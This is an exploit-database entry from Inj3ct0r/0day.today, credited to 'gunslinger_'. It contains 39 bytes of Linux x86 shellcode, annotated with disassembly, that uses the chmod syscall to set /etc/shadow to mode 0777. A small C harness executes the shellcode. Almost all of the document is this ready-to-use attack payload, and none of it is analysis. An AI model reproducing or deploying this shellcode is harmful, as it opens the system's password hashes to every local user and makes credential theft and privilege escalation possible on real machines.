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linux/x86 change mode 0777 of "/etc/shadow" sys_chmod syscall 39 bytes
[===========================================================================
linux/x86 change mode 0777 of "/etc/shadow" with sys_chmod syscall 39 bytes
===========================================================================
/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ######################################### 1
0 I'm gunslinger_ member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
/*
Title : change mode 0777 of "/etc/shadow" with sys_chmod syscall
Name : 39 bytes sys_chmod("/etc/shadow",599) x86 linux shellcode
Date : jun, 1 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web : devilzc0de.com
blog : gunslingerc0de.wordpress.com
tested on : linux debian
*/
#include <stdio.h>
char *shellcode=
"\xeb\x15" /* jmp 0x8048077 */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x0f" /* mov $0xf,%al */
"\x5b" /* pop %ebx */
"\x31\xc9" /* xor %ecx,%ecx */
"\x66\xb9\xff\x01" /* mov $0x1ff,%cx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x01" /* mov $0x1,%al */
"\x31\xdb" /* xor %ebx,%ebx */
"\xcd\x80" /* int $0x80 */
"\xe8\xe6\xff\xff\xff" /* call 0x8048062 */
"\x2f" /* das */
"\x65" /* gs */
"\x74\x63" /* je 0x80480e3 */
"\x2f" /* das */
"\x73\x68" /* jae 0x80480eb */
"\x61" /* popa */
"\x64\x6f" /* outsl %fs "(%esi),(%dx) */
"\x77"; /* .byte 0x77 */
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
((void (*)(void)) shellcode)();
return 0;
}
# 0day.today [2024-12-25] #